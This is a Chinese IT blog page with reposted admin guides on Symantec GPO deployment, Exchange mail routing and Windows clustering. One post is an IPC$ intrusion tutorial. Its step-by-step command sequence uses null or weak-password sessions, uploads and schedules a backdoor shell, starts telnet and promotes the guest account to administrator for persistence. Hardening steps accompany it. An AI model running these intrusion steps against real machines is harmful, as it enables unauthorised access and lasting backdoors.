红叶的技术日志

希望每天能努力多一点

IT博客 首页 新随笔 联系 聚合 管理
  184 Posts :: 9 Stories :: 22 Comments :: 0 Trackbacks

#

Question/Issue:
This document describes how to install Symantec AntiVirus 10.x by using a Active Directory Group Policy Object in Windows 2003/2000.

Symptoms:
Installing Symantec AntiVirus 10.x using a Group Policy Object (GPO) installation This document describes how to install Symantec AntiVirus 10.x by using a Active Directory Group Policy Object in Windows 2003/2000.

Solution:



Before you begin:
  • This procedure works only with Symantec AntiVirus installations or upgrades. It does not work with Symantec Client Security.
  • Symantec AntiVirus cannot be added to a software installation Group Policy Object for Active Directory Deployment if the same version of Symantec AntiVirus is already installed.
  • Confirm that your DNS server is set up correctly. The correct setup is very important because Active Directory relies heavily on your DNS server for computer communication. To test the setup, from a client computer that has joined the domain, try to ping the Windows 2003/2000 Active Directory computer, and then ping in the opposite direction. (Use the fully qualified domain name; the use of the computer name alone does not call for a new DNS lookup.) Use the following format:

    ping computername.fullyqualifieddomainname.com



To install Symantec AntiVirus using a Windows 2003/2000 Active Directory Group Policy Object
  • From a Windows 2003/2000 Active Directory computer, share the WIN32 folder from the Symantec AntiVirus server installation that is in the following location:

    \Program Files\SAV\Symantec AntiVirus\CLT-INST\WIN32

    If Symantec AntiVirus client is installed on the Windows server, copy the Win32 folder from a Symantec AntiVirus primary or secondary server to a location on the Windows 2003/2000 Active Directory computer, and then share the folder.
  • On the Windows Taskbar, click Start > Programs > Administrative Tools > Active Directory Users and Computers.
  • In the console tree, right-click the organizational unit to which you plan to deploy clients, and then click Properties.
  • On the Group Policy tab, click New to create a specific policy.
  • Type the following as the new policy name:

    Elevated Group Policy

  • Click Elevated Group Policy, and then click Edit.
  • Under the Computer Configuration, expand Software Settings.
  • Right-click Software installation, and then click New > Package.
  • In the Open dialog box, type the Universal Naming Convention (UNC) path to the shared WIN32 folder that contains the MSI package.
    Do not browse to the location. Be sure that you use the UNC path to the shared folder, as in the following example:

    \\<server name>\WIN32\Symantec AntiVirus.msi

  • Click the Symantec AntiVirus.msi file, and then click Open. Click Assigned, and then click OK.
    The package is listed in the right pane of the Group Policy window.
  • Under Computer Configuration, expand Administrative Templates > Windows Components.
  • Click Windows Installer.
  • In the right pane, double-click Always install with elevated privileges.
  • Check Enable.
  • If the option is present, check Check to force setting on; uncheck to force setting off.
    Some organizational units may not show this option.
  • Click Apply, and then click OK.
  • Close the Group Policy window, and then click Close or OK.
  • Close Active Directory Users and Computers.
  • To apply the changes, on the Windows taskbar, click Start > Run.
  • In the Open box, do one of the following:

    In Windows 2003, type the following text:

    gpu
    pdate /force

    In Windows 2000, type the following text:

    secedit /refreshpolicy machine_policy

  • Click OK.

    When the client computer starts, the Symantec AntiVirus client software package is installed before the logon. For Symantec AntiVirus client upgrades, the computer restarts after the installation.

http://jiaohl.blog.ccidnet.com/blog-htm-uid-35280.html    原Blog

posted @ 2008-01-31 11:26 applezk's IT blog 阅读(763) | 评论 (0)编辑 收藏

一 唠叨一下:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  

五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


六  如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。


七  如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码


(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net


八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:""        (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码"     (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名"       (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认


九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组    
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
posted @ 2008-01-09 11:36 applezk's IT blog 阅读(371) | 评论 (0)编辑 收藏

<第一部份:知识介绍>
(1)什么是端口  
   端口是各种程序为了接收和发送数据而开的“窗户”,程序需要它来与外界进行通讯,你可以把它想象成一个邮箱,我要传递消息给你,我就会把消息放到你的邮箱里。你要得到消息,你只需要打开邮箱把消息拿出来。同样,别的计算机为了和你的机器通讯,会把数据发到你的机器的端口上,计算机读取端口就可以得到数据。
  (2)端口是唯一的吗?  
   端口不是唯一的。端口分两种:TCP端口和UDP端口,每种端口最多有65535个,分别用自然数1~65535编号。这里我不解释TCP端口和UDP端口有什么不同,你只须要知道不同的端口对应不同的程序,每个程序只能只能读取发送到属于自己端口上的数据。举个例子,hi.exe打开TCP6500端口,如果我把数据发送到TCP6501端口或是UDP6500端口,hi.exe都接收不到,只有发送到TCP6500端口的数据hi.exe才能接收。
  (3)TCP139端口的作用
   TCP139是用于网络共享的端口,只有当一台计算机开放了TCP139端口时别的计算机才能访问其上的共享文件。但是在Windows 2000/ NT/ XP中,TCP139端口还有一个重要的作用:远程管理连接(IPC$,Admin$),这是微软为了方便管理员对远程计算机的管理而特意设置的。为了能够成功地建立IPC$(远程管理)连接,你需要管理员的用户名和密码,这也是基于139端口入侵的重点,只要我们得到了远程计算机的密码,再通过139端口进行IPC$连接,我们就完全控制了远程的计算机。
posted @ 2008-01-09 11:28 applezk's IT blog 阅读(1223) | 评论 (1)编辑 收藏

IPC$漏洞描述

 

  用过Windows 2000的人都知道,Windows 2000的默认安装允许任何用户通过空用户连接(IPC$)得到系统所有账号和共享列表,这本来是为了方便局域网用户共享资源和文件的,但是任何一个远程用户都可以利用这个空的连接得到你的用户列表。一些别有用心者会利用这项功能,查找我们的用户列表,并使用一些字典工具,对我们的主机进行攻击。另外,在安装系统时创建一些隐藏的共享,通过“计算机名或IP地址\盘符$”就可以访问。作为系统管理员的我,平时也喜欢利用这些共享来进行远程管理计算机和查看计算机的共享资源时,没想到却给黑客留了通道。 

  黑客攻击

“流光”主界面 

  一些别有用心者曾经利用黑客工具软件对我所管理的服务器进行IPC$漏洞探测,其中以“流光”软件最为出名,其运行主界面如图1所示,按[Ctrl+R]键弹出扫描框。在扫描范围栏里输入你要扫描的IP地址范围,在扫描主机类型里选择Windows NT/98,确定后进行扫描,这样,一些在线的Windows NT/98机器就会被扫描出来。 

扫描对话框 

  鼠标右击界面上“IPC$主机”,选择“探测”下面的“探测所有IPC$用户列表”命令,就会探测出给出IP地址范围的机器里的IPC$用户列表,关键是这里也可以扫描出这些用户列表中没有密码或是简单密码的用户。当然,得到用户列表后也可以选用专门的黑客字典试探出密码来,谁能保证,服务器里每个用户的密码都很强壮呢?所以这些人总有得逞的时候。   

   
  有了用户名和密码,在IE浏览器的地址栏输入“\\IP地址”,就会弹出一个对话框要求输入用户名和密码,将得到的用户名和密码输入之后就可轻松进入目标机器,不过这里看到的仅是目标机器主动共享出来的文件夹。如果在地址栏输入“\\IP地址\C$(或是D$,E$等)”,则可以看到目标机器C盘(或是D$,E$等)的全部内容。 

  防范IPC$漏洞攻击

  知道黑客利用此漏洞入侵后,我惊出了一身冷汗,赶紧把密码设置得复杂一些,但是无论我采用多复杂的密码,过一段时间还是发现有被入侵的迹象。看来万事都不能两全,计算机管理也一样,要方便就不安全,要安全就不方便,所以我只好采用下面的方法把IPC$漏洞堵住,这样自己也就没办法享受默认共享带来的方便了。 

  1. 通过修改注册表来禁止建立空连接(IPC$) 

  点击[开始]→[运行],在运行框里输入“Regedit”回车后打开注册表,将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA的RestrictAnonymous 项设置为“1”,就可以禁止空用户连接。 

  2. 通过修改注册表来禁止管理共享 C$D$等  

  打开注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Services\LanmanServer\Parameters项 

  对于服务器,添加键值“AutoShareServer”,类型为“REG_DWORD”,值为“0”。 

  对于客户机,添加键值“AutoShareWks”,类型为“REG_DWORD”,值为“0”。 

UpReg.reg

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
AutoShareServer=dword:00000000
AutoSharewks=dword:00000000

 

  3. 批处理删除共享 

net share d$  delete

net share ipc$ /delete

net share admin$ /delete

net share查看

要全部停止,控制面板->服务-server即可

 

IPC$共享是为管理系统而设置的,关闭之后,当机器下次重新启动的时候,会自动重建。也就是说,IPC$共享无法彻底关闭,这是系统的需要。如果一定要完全关闭IPC$共享,可以在“管理工具→服务”中,停止Server服务,但这样的话,系统中的所有共享也将不复存在。

posted @ 2008-01-09 11:23 applezk's IT blog 阅读(2442) | 评论 (0)编辑 收藏

实现邮件的外部收发
说明:
1、准备一台计算机充当外部DNS服务器,安装DNS服务。
2、准备二台计算机充当企业邮件服务器,域名为:bj.benet.com和accp.com。
目标:
1、在DNS服务器创建DNS区域和MX记录。
2、配置出入站邮件设置。
3、每个邮件服务器的名称都能解析DNS的MX记录。
4、最终目的,能实现bj.benet.com和accp.com的客户端收发邮件。
步骤:
一、配置bj.benet.com和accp.com两企业的DNS区域和MX记录。
1、在充当外部DNS服务器的计算机上注册DNS区域和MX记录。
2、打开外部DNS服务器的DNS服务管理工具,如下图所示:
 
 
3、按照图1--图8所示创建bj.benet.com区域:
图1
图2
图3
图4
图5
图6
图7
 
图8
4、按照相同的步骤创建accp.com的区域,创建完如下图所示:
 
 
5、在DNS管理工具中,右击bj.benet.com区域---选择“新建主机”---在“新建主机”---输入主机名称和主机IP地址信息,如下图所示:
 
 
6、同样还在DNS管理工具中,右击bj.benet.com区域---选择“新建邮件交换器”---新建一个邮件交换记录:如下图所示:
 
 
7、用同样的方法,将accp.com邮件服务器的DNS MX记录正确添加到外部DNS服务器上,如下图所示:
 
 
8、使用nslookup命令测试所有区域的DNS MX记录是否正确解析,如下图1、图2所示:
 
图1
图2
二、配置入站邮件设置:
1、在Exchange系统管理器---服务器---协议---默认的SMTP虚拟服务器---属性,按照图1--图5所示完成入站邮件设置:
 
图1
 
图2
 
图3
 
图4
 
图5
三、配置出站邮件设置:
1、在Exchange系统管理器---服务器---协议---默认的SMTP虚拟服务器---属性。
2、在“传递”---“出站安全”,设置如下图所示:
 
 
3、在“传递”---“出站连接”,设置如下图所示:
 
 
4、在“传递”---“高级”---“高级传递”,设置如图所示:
 
 
5、在“高级传递”---“配置外部DNS服务器”---“配置”---“添加”,设置如下图所示:
 
 
 
单击确定,出现如下图所示:
 
 
6、单击确定---确定,完成bj.benet.com邮件服务器出站的设置。
四、按照同样的方法,设置accp.com邮件服务器的出入站设置,入站设置图没有节图,跟bj.benet.com的设置一样,出站完成如下图所示:
 
 
 
五、验证设置效果,两企业打开outlook客户端互相收发邮件,user2是bj.benet.com公司的邮箱地址,user4是accp.com公司邮箱的地址,bj.benet.ocmwcng向accp.com公司发邮件,如下图1、图2所示:
图1
 
图2
 
Accp.com公司向bj.benet.com公司发邮件,如下图1、图2所示:
图1
 
图2
 
六、以上两企业能够收发邮件,是因为在外部DNS里有两企业的MX记录,现在想在一企业有MX记录,一企业没有MX记录,该如何设置,这就要设置SMTP连接器啦。
posted @ 2008-01-09 10:48 applezk's IT blog 阅读(1380) | 评论 (0)编辑 收藏

双机热备份方案中,根据两台服务器的工作方式可以有三种不同的工作模式,即:双机热备模式、双机互备模式和双机双工模式。下面分别予以简单介绍。
  
  双机热备模式即目前通常所说的active/standby 方式,active服务器处于工作状态;而standby 服务器处于监控准备状态,服务器数据包括数据库数据同时往两台或多台服务器写入(通常各服务器采用RAID磁盘阵列卡),保证数据的即时同步。当active服务器出现故障的时候,通过软件诊测或手工方式将standby机器激活,保证应用在短时间内完全恢复正常使用。典型应用在证券资金服务器或行情服务器。这是目前采用较多的一种模式,但由于另外一台服务器长期处于后备的状态,从计算资源方面考量,就存在一定的浪费。
  
  双机互备模式,是两个相对独立的应用在两台机器同时运行,但彼此均设为备机,当某一台服务器出现故障时,另一台服务器可以在短时间内将故障服务器的应用接管过来,从而保证了应用的持续性,但对服务器的性能要求比较高。配置相对要好。
  
  双机双工模式:是目前cluster(群集)的一种形式,两台服务器均为活动,同时运行相同的应用,保证整体的性能,也实现了负载均衡和互为备份,需要利用磁盘柜存储技术(最好采用San方式)。WEB服务器或FTP服务器等用此种方式比较多。
posted @ 2007-11-21 16:58 applezk's IT blog 阅读(1154) | 评论 (0)编辑 收藏

IBM基于SERVERAID6M卡的Windows 2000版本双机热备安装方法
一 硬件需要:
1. IBM X-Series服务器两台,要求两台硬件配置相同
2. 外置磁盘扩展柜一台(例如EXP300、EXP400.....)
3. ServeRaid 6M*2
4. 外置SCSI电缆两条(P/N: 03K9195)
5. 网络适配卡四块(由于主机服务器上一般至少有一块网卡,所以可以根据实际情况来决定是否另行购买)
6. 心跳线(交叉双交线)
二 软件需要:
1. IBM x-server 自带ServeRaid CD 6.1.24或更新版本CD
2. Windows 2000 Advanced Server CD 安装Cluster,客户需要购买两套Windows2000 advanced Server
3. 其他相关的软盘(例如网卡驱动等会随选件购买而带)
三 硬件安装步骤:
1. 连接好主机,键盘,鼠标,显示器
2. 分别插入主机和磁盘扩展柜的硬盘
3. 打开主机箱盖,依次插入ServeRaid6M卡 和 网络适配卡
4. 用SCSI电缆(03K9195)将每一台主机的ServeRaid 6M卡和磁盘扩展柜后端接口相连
5. 将每台主机中一块网卡用直连线连接
6. 将每台主机中的另一块网卡和网络连接
7. 接好主机的磁盘扩展柜的电源
四 软件安装步骤:
(1) 安装*作系统
1. 打开Server A, 关闭Server B, 磁盘扩展柜保持在关机状态
2. 安装Windows 2000 Advanced Server *作系统 注:在安装Windows 2000过程中要按[F6]添加ServeRaid卡驱动
3. 打开Server B, 关闭Server A, 磁盘扩展柜保持在关机状态
4. 安装Windows 2000 Advanced Server *作系统
5. 完成后关闭Server B。
6. 配置网络。每台服务器有两个网卡,它们分别用于互相通讯(心跳线,heartbeat)和外部网络流量(LAN)。所以我们在网络的属性中为它们重命名为LAN 和HeartBeat。给两个节点的四块网卡分配的IP 地址如下表:
LAN  HeartBeat  DNS  Client
服务器A 192.168.0.1 255.255.255.0  10.0.0.1 255.0.0.0 192.168.0.1从192.168.0.2 从192.168.0.3到192.168.0.254
服务器B 192.168.0.2 255.255.255.0  10.0.0.2  255.0.0.0
按照上表配置完后,请运行ipconfig /all 命令来确认所有的IP 地址已经设置并应用正确了。在服务器A 上Ping服务器B 的IP 地址,确认能够通。
7. 将两台机器分别提升为同一个域中的DC。都安装DNS 服务。 建立和加入到同一个域( Domain )的具体步骤如下: 下面步骤将在服务器A上执行。它将为你的Cluster系统建立一个域控制器(DC)。
1) 用run 命令(Start ??Run) 执行dcpromo命令。“Active Directory InstallationWizard”启动起来了。
2) 创建一个新的域的DC(Domain Controller for a new domain) 再按Next。
3) 选“Create A New Domain Tree”,再按Next。
4) 选“Create A New Forest Of Domain Trees”,再按Next。
5) 当提示“Full DNS Name For The New Domain” 时输入域名“DOMAIN”。
6) 注意:服务器A提升成DC前,可以把LAN网卡TCP/IP设置中的DNS地址设为本身IP,即192.168.0.1。在把服务器B提升为DC时,要把LAN网卡TCP/IP设置中的DNS地址设为服务器A的IP,即192.168.0.1。否则服务器B就会找不到DNS服务器。两个节点都成为DC后,都得安装DNS服务(除非网络中另有一个DNS服务器),所以服务器B成为DC后就要把DNS设置该为本身IP和服务器A的IP,即192.168.0.2作为首选的DNS,而192.168.0.1作为副选的DNS。然后服务器A的两个DNS服务器IP为192.168.0.1和192.168.0.2。如果网络中另有一个DNS服务器,那么提升服务器A、B时只需把LAN网卡TCP/IP设置中的DNS地址设为该DNS服务器即可(不推荐)。
7) 接受默认产生的Domain NetBIOS Name,再按Next。
8) 接受Default Database And Log Locations,再按Next。
9) 接受Default Shared System Volume,再按Next。
10) 当DNS Server Cannot Be Found 信息出现时,按OK。
11) 选Yes,Install DNS,再按Next。
12) 选Permissions Compatible Only With Windows 2000 Servers,再按Next。
13) 当提示要“Administrator password”,输入口令,再按Next。
14) 之后会显示总信息,按Next。进行Configure Active Directory的*作。提示插入CD盘,选<Next>,进行DNS安装。
15) Wizard 完成,按Finish。在服务器A重起后,我们可以用dcpromo命令提升服务器B。选“Additional domain controllerfor an exiting domain” ,在“Network Credentials” 中加入网络用户名(可用administrator)和口令。( User name, Password ,Domain) ,选<Next> ,然后在“Additional Domain Controller” 中,填DNS域全名,选<Next>。在“Database and log locations” 项中,点<Next>。到“Shared System Volume” 项点<Next>。输入用户名(可用administrator)和口令;显示总结信息后,确认把该服务器作为可用服务器A的附加服务器。点<Next>。显示构造进程, 进行构造。构造好后, 选<Finish>。Restart 服务器。服务器B 就加入到上面所建立的域中
(2) 配置共享硬盘
8. 把磁盘扩展柜正常开启然后打开Server A,把ServeRaid CD放入Server A光驱,使服务器通过CD引导启动。
9. 系统启动到“ServeRaid Manager”窗口,在右边的窗口点中“Controller" 图标按鼠标右键,选择“Restore to Factory Default Setting”
10. 点中“Controller" 图标按鼠标右键,选择“Create Array”
11. 选择“Custome Configuration”,然后按“NEXT”
12. 根据客户自己的需求创建阵列和逻辑驱动器 (注意:共享柜中的每个阵列中只能有一个逻辑驱动器,而且它的RAID级别最好为5)
13. 鼠标右键点击“Controller”,选择“Cluster Action”,然后选择“Configure for Clustering”然后会弹出一个窗口(以ServeRaid 4LX单通道卡为例)
Controller Name : Node_A
Partner Name : Node_B
Chnnel 1 : 6
Logical Drive1 : shared, Merge group = 1 (共享盘柜)
(注意:如果是ServeRaid 4MX双通道卡服务器上的硬盘和共享盘柜在同一阵列卡上,那么本地硬盘所在逻辑驱动器选择 Non-shared 模式;而共享硬盘所在的逻辑驱动器选择Shared模式)
如图所下:
Controller Name : Node_A
Partner Name : Node_B
Chnnel 1 : 6
Logical Drive1 : Non_shared Merge group = 200 (服务器上的本地硬盘)
Logical Drive2 : shared Merge group = 1 (共享盘柜)
14. 等待硬盘初始化和同步完成后,退出配置工具,并且关闭Server A.
15. 打开Server B, 关闭Server A。磁盘扩展柜保持开机状态.。把ServeRaid CD放入Server B光驱,使服务器通过CD引导启动。
16. 系统启动到“ServeRaid Manager”窗口,在右边的窗口点中“Controller" 图标按鼠标右键,选择“Restore to Factory Default Setting”
17. 点中“Controller" 图标按鼠标右键,选择“Cluster Actions”
18. 然后选择“Configure for Clustering”
Controller Name : Node_B
Partner Name : Node_A
Chnnel 1 : 7
19. 等待硬盘初始化和同步完成后,退出配置工具,并且关闭Server B.
(3) 建立安装Cluster
20. 登录进入Server A服务器,插入ServeRaid CD。复制“Win2ksrv\cluster\Support”下的“ipshahto.exe”到桌面,再把“Win2ksrv\cluster”目录复制到桌面。运行ipshahto.exe文件。这将对共享硬盘进行强行接管。
21. 用“磁盘管理器”对磁盘阵列柜中的硬盘分配盘符,进行格式化,并设置卷标为“Z:” (注意:两台服务器对共享硬盘的盘符,硬盘大小,卷标名称应该相同;而且格式 时选择NTFS模式)
22. 关闭Server A。
23. 打开Server B。
24. 登录进入Server B服务器,插入ServeRaid CD。复制“Win2ksrv\cluster\Support”下的“ipshahto.exe”到桌面,再把“Win2ksrv\cluster”目录复制到桌面。运行ipshahto.exe文件。这将对共享硬盘进行强行接管。
25. 用“磁盘管理器”对磁盘阵列柜中的硬盘分配盘符,进行格式化,并设置卷标为“Z:” (注意:两台服务器对共享硬盘的盘符,硬盘大小,卷标名称应该相同;而且格式
时选择NTFS模式)
26. 完成后关闭Server B
(4)安装MSCS:
27. 登录Server A,在控制面板中选择“add/remove programs”,选择“Cluster Service”然后继续(此时应将Advanced Server Setup CD 插入光驱)
28. 此时Cluster配置窗口出现,按“Cancel”,然后按“Yes” (注意:选择Cancel的目的是在安装MSCS之中加入IBM ServeRaid Cluster Solution Programe)
29. 按照提示完成安装,选择“Finish”,“Close”。移去光驱中的CD
30. 然后运行桌面“cluster”目录下的“setup.exe”
31. 按照提示安装完 IBM ServeRaid Cluster Solution
32. 继续安装完MSCS
33. 创建一个新的Cluster
34. 设置管理员的用户名和口令
35. 一块网卡只用作内部通讯,“Use only for Internal Cluster Communication” Network Name : Internal
36. 另外一块只用作客户端访问,“Use only for Client Access” Network Name : External
37. 设置一个虚拟的一个Cluster Server IP , 和Server B设的一样,要和用作客户端访问的网卡在同一网段
38. 启动Cluster Service,运行IBM ServeRaid Cluster Solution Wizard创建磁盘资源
并点击Z:属性,将 Z:移到共享磁盘上
39. 按提示完成安装。
40. 登录Server B,在控制面板中选择“add/remove programs”,选择“Cluster Service”
然后继续(此时应将Advanced Server Setup CD 插入光驱)
